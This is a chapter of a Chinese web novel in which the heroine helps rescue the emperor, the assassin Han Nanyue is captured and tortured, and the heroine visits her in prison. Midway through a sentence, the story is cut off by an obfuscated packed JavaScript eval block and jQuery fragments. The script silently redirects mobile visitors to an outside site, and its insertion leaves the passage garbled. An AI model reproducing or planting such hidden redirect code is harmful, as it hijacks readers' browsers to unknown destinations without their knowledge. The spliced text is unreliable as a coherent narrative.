61. 谢了春红太匆匆

作品:《侯爷,你的通房丫鬟又跑了!

    秦妙苏一刻也不敢耽搁,和冷锋以最快的速度来到了文国公府,但没想到赵乾已经站在门口等他们了。


    他看到他们来了急道:“我收到了李邺成围府的消息,就猜到你们会来,酆栎他打算怎么做?”


    秦妙苏:“侯爷说拜托你带我们进宫救出皇上。”


    冷锋突然单膝跪地:“国公爷,拜托您想办法带我们进去救皇上,不然大殿下是不会放过侯爷的,殿下现在带人围了侯府,侯爷他凶多吉少啊。”


    沉吟片刻,赵乾道:“现在皇上的殿外有宇文邵在把守,他是李邺成的人,我们要进去很难。不如这样,我想个办法引开他,冷锋你护着秦妙苏进去找皇上。”


    秦妙苏:“你打算如何引开宇文邵?”


    “山人自有妙计。你们先等我一下。”说完赵乾转身回去,片时后才出来。


    秦妙苏看到他胸前的衣服处比之前鼓起了些:“你带了什么?”


    “嘿嘿,暂时保密,等会你们就知道了。”


    准备好后,几人火速进宫。


    到了城门口,守卫认得赵乾和冷锋,没有太阻拦放了他们进去。


    赵乾带着他们往皇上的寝宫方向走,边道:“等一会我会引开宇文邵,然后你们趁机会进去。我不能保证会引开所有的守卫,所以冷锋你可能要辛苦点,护着侯夫人进去。”


    冷锋拱手道:“好,交给我吧,就算拼了这条命,也要护着夫人。”


    秦妙苏和冷锋躲在寝宫前面的草丛,看到赵乾从怀里掏出了一个白色的东西,再仔细看,原来是一个人形的风筝,他拽着线在皇宫外跑起来,风筝像一个诡异的刺客,跟着他簌簌跑动,纸做的手脚在风里抖动。


    这滑稽又古怪的一幕果然引起了守兵的注意,大喊道:“有刺客!”


    趁着他们去追赵乾,秦妙苏和冷锋赶紧跑上台阶,快要到宫门时,一个高大壮硕的身影突然出现拦住了他们。


    宇文邵身披玄铁重铠,甲片如龙鳞般森然密布,肩头的吞兽怒目狰狞,仿佛随时要将人吞噬。


    他阴沉着脸,仿佛乌云压境:“两位要去哪?”说着他抽出长剑,剑身在夜里泛出幽寒冷光。


    冷锋突然暴起,从腰间摸出薄如蝉翼的短刀,刀光如电,直取宇文邵的咽喉。


    “夫人你快去找皇上。”


    宇文邵早有防备,长剑一横,“铛”的一声脆响,火花四溅。两人错身而过,各自退开几步后又迅速缠斗在一起。


    看冷锋拦住了宇文邵,秦妙苏往旁边想绕过他们去找皇上,还没跑出几步听到背后又传来金属碰撞发出的尖利刺耳声。回头看发现是宇文邵朝她射来三枚银钉,但是都被冷锋拦了下来。


    她不敢再停留,拼命跑进了寝宫。


    推开三寸厚的紫檀木殿门,首先映入眼帘的是九级鎏金台阶,每级台阶正中都嵌着一块和田美玉,上面精雕细琢着五爪蟠龙。


    寝殿中间立着十二根金丝楠木柱,正北面立着十二扇紫檀边座嵌玉石屏风,每扇屏风上都用金线绣着不同季节的皇家园林景致。


    汉南月听见声音袅袅从屏风后走出,轻纱罗裙随着动作若隐若现地勾勒身形,束腰丝带更显腰肢纤细。


    她迷人的眸子看向秦妙苏:“哟,又见面了。你们的恩情我已经还清了,怎么侯爷他没和你说?”


    “谢谢你那日救了他,但我今日来是为了救你的。”


    汉南月轻轻一笑:“救我?你觉得我会信吗?我看你是为了里面那位来的吧?”


    “汉南月,这是最后的机会了,不要再执迷不悟,坚持那点一碰就碎的感情了,他置你于险地,再往前就是万丈深渊,可是他在哪?他让你冲锋陷阵,自己却畏缩不前,你觉得为他这样的人值得吗?”


    “听我说,”秦妙苏焦急地又往前迈了一小步:“只要你现在拿出解药放了皇上,我可以帮你作证,你什么都不知道,是受了李邺成的蒙骗才扮做了兰妃。”


    “秦妙苏,看在你娘和我有交情的份上,我上次放了你,今日我同样再好心一次放你走,别再说这些混账话。殿下他入主东宫只有一步之遥,我们的计划马上要实现了,若我同意了你,才是蠢到家了。”


    “如今满朝文武皆知,是你用了些见不得光的手段迷惑了皇上,你若还不放手,真要被人当做妖女踩平踏扁。”


    “少拿这种话糊弄我,就算是这样,殿下他也早想好了办法会护着我。你现在赶紧给我滚出去,不然休怪我不客气了。”


    看到秦妙苏态度坚决,不肯离开,汉南月不由分说,抓住她的胳膊就往殿外拖。


    两人正在拉扯,忽然殿门打开,一队金甲士兵鱼贯而入,呼啦一声将矛刺对准了汉南月。


    赵乾塌过门槛而入,肃着脸道:“妖女,还不束手就擒?”


    汉南月本想用秦妙苏做人质,可脑海里浮现出在甘州时,她娇小的身体冲过层层暴怒呐喊的人群来救她的情景,袖中的暗器已经滑到指尖,她手上的动作微顿,将暗器又收了回去。


    就在她犹豫的一瞬间,赵乾使了个眼色,躲在暗处的禁军射出箭羽,利刃刺进汉南月的小腿,她感到了一阵剧痛,闷哼一声,扭曲着身子单膝重重砸在地面上。


    刹那间,禁军们数十柄矛枪的尖刃对准了她。


    “将她拿下搜解药。”赵乾大喝一声。


    秦妙苏看着倒在地上蜷缩着身子的汉南月:“慢着。”


    禁军都是男子,粗手粗脚在汉南月身上上下其手找解药,怎么看都很猥琐,秦妙苏不忍心她这样一个冰魂雪魄的女子受这般折辱。


    她扶起汉南月,替她撩开挡在脸上的几缕碎发:“南月,事到如今别再倔了,将解药给我们吧。”


    汉南月苦笑几声,从腰间掏出来一个小瓶子交到秦妙苏的手里,之后撇过了头再不看她。


    赵乾:“将她押下去关进诏狱。”


    望着汉南月离开的背影,秦妙苏峨眉轻蹙,心里仿佛压了一块沉重的大石头。


    赵乾:“我们快去救陛下吧,那个妖女不值得你同情。”


    “你怎么带了兵过来?”


    “多亏了我爹,他知发生了宫变,和守卫宫城的将军联手进来护驾。”


    “老国公果然是机变如神。”


    赵乾不屑地摸摸鼻尖:“老头子只知道动动嘴皮子,可每次冲锋陷阵的人还不是我?”


    知他是个滑性子,秦妙苏笑了笑:“快去给陛下解药吧。”


    两日后,秦妙苏站在威远侯府的壁檐下,指挥工匠修理破损的屋檐。


    前日里的那场恶战,酆栎派府丁射杀李邺成的人,两方激烈战斗时,他又派了一小股人从密道出去绕到李邺成的背后,突然发动攻击,打了个措手不及。


    李邺成大败,加之又听说父皇已经清醒,知道自己大势已去,只好灰溜溜地带兵离开。


    虽然他们退兵很快,可是侯府也遭受了不小的损失,屋脊上折了一半的兽身就是证据。


    她叉着腰,气鼓鼓道:“真是天杀的,损坏了人家的房子还不赔钱,卑鄙又抠搜。”


    香巧递给她一个林檎,笑道:“夫人,累了吧?吃个果子,何必和他那种人置气?”


    酆栎这时从府里出来,站在秦妙苏的身旁和她一道看了看损毁的脊兽:“倒也不必如此动怒,反正我家也不缺这个钱。”


    突然听到他的声音,秦妙苏唬了一跳:“侯爷,你来了。”


    “汉南月定罪了,你想去诏狱看她么?”


    秦妙苏的呼吸微滞,手不由得攥紧了些:“会如何处死她?”


    “火刑。三日后立即行刑。”


    “皇上果然不想轻易放过她。”


    虽然事先就猜到汉南月难逃死罪,可秦妙苏还是抱了一丝期望事情会有转机。


    但果然,天家无情,知道汉南月假扮了兰妃欺骗自己,皇上毫不留情要用酷烈的方式处死她,以解他心头之恨。


    酆栎看到她下压的嘴角,知她现在肯定心情不好,沉吟一下,他道:“别太自责,你已经亲自在皇上面前为她求过情,凡事尽力了就好。”


    叹出一口气,秦妙苏拉了拉他的袖子:“走吧,我们去诏狱。”


    坐在轿车里,秦妙苏依旧提不起劲,眼神木讷看着一个方向。


    她回想起,那日皇帝清醒过来后,酆栎带着卫子扬进宫禀报当年兰妃冤死的真相,指认背后的黑手其实是皇后。


    在场的人听了无不震惊,皇帝大怒,立马宣皇后进殿对质。面对皇上的质问,卫子扬的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287397|157613||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    指认以及提交的证据,皇后只能认罪。


    李邺成不停用头磕地,祈求皇上能念在多年夫妻的情分上饶他母亲一命,最终皇上还是网开一面,将皇后贬去守皇陵,永世不得回宫。


    汉南月当场受了三十廷杖,却咬住牙关没有再供出其他人,自己担下了所有的罪责。


    想起那日大殿上的哭喊、骂声还有绽开的鲜血淋漓的皮肉,秦妙苏仍心有余悸,心跳都快了几分。


    展眼到了诏狱,秦妙苏一进这里就感到阴冷的气息扑面而来,激起身上一层鸡皮疙瘩。


    幽暗的长廊仿佛没有尽头,火把微弱的光摇曳着,映照出墙上斑驳的暗红色污渍——不知是锈迹,还是干涸的血痕。


    牢房低矮逼仄,空气中弥漫着腐朽与血腥的混合气息,越往里走就越觉得压抑,连呼吸都不顺畅起来。


    狱吏将他们带到了一处牢房外,秦妙苏看到一个满身伤痕和血污的人身体蜷缩躺在角落,身下只铺了层干草。


    酆栎问狱吏:“她怎么样?”


    “回侯爷,她受了刑,暂时吃不下东西。咋们还从没见过如此刚烈的女子,不管受了多少折磨,就是不肯供出其他人。”


    秦妙苏看着这具伤痕累累的躯体,胃里感到一阵痉挛,干呕几下才镇定下来。


    她趴在栏杆上轻声唤道:“南月...你还好么?”


    “南月?”


    连喊了几声,汉南月才睁开眼睛,涣散的眼神看到他们后变得聚焦,慢慢撑起身子趴向铁栅栏。


    等她靠近了,秦妙苏才看清她的一边眼睛受了烙刑,已经瞎了,只留下一圈皮肉烧焦后的暗红的痂。


    秦妙苏倒吸一口凉气,鼻头发酸,拼命忍着不哭出来。


    她哽咽着声音:“你这又是何苦?”


    汉南月牵动嘴角,拉扯出一个苦涩又怪异的笑容:“别提这些了,我自愿的。对了,你不是想知道关于你娘的事么?我记得,她是一个很好的人,性子温和,善良,还很博识。对我们一家也很照顾,多亏了她,我们一家才过了几年丰裕的日子。”


    听到这些,秦妙苏再也按捺不住,泪水夺眶而出。


    “嗯。还有什么要交代我们的么?”


    “我孑然一身,唯独想念的就是我的妹妹,求你们能尽所能照看她一二,便心了了。”


    秦妙苏看着她惨然的脸,想伸手进铁门里替她擦擦血污,但汉南月躲开了。


    “有今天这一日,都怪我咎由自取。自从家没了,我被西凉王掳去了宫里,过得很凄楚,看到他后便如遇到了救星,还以为自己从此后能过得安稳幸福了,可到头来还是信错了人。我痛恨王宫里如囚笼一般的生活,在西凉时也好,藏在他的府上也好,终究是没能逃脱。若有下辈子...”


    汉南月仅剩一只的眼里泛出了一点晶莹的泪:“我不想再有下辈子了。”


    秦妙苏默了半晌,从怀里掏出了一封信:“你一直不肯与她相认,可她非常思念你,托我们将信带给你。”


    汉南月身子一僵,缓缓伸手接过了信。


    酆栎这时拍了拍秦妙苏:“该走了,若待得太久恐给人把柄。”


    他们离开时,秦妙苏拭去眼角的泪,听到汉南月的牢房里突然传来撕心裂肺的哭声。


    出了诏狱,秦妙苏突然立住,眼神陡然变得凌厉:“不行,我要去找李邺成,他必须要救汉南月。她为他受了这么多的苦,凭什么他不救她,把自己摘得干干净净?他还是人吗?”


    说完她往李邺成的府邸的方向走去,酆栎拉住了她。


    “你做什么?你去了有用吗?汉南月不过就是他的一颗棋子,在他眼里什么也不是。这次他虽败了,损失惨重,可皇上没有怀疑到他的头上,你觉得他可能还往自己身上泼脏水吗?”


    “我不管,无论怎样我都要试一试,他凭什么,凭什么见死不救?”


    秦妙苏想走,可酆栎死死拉住了她,动弹不得。


    “你放开我!”


    “你冷静点,此事已成定局,不可能有转机了。”


    “我叫你放开我!”


    秦妙苏疯狂喊叫,睚眦欲裂,双目变得猩红。


    见她已经要失控,酆栎朝她的后颈打了一掌,打横抱起她回了轿子。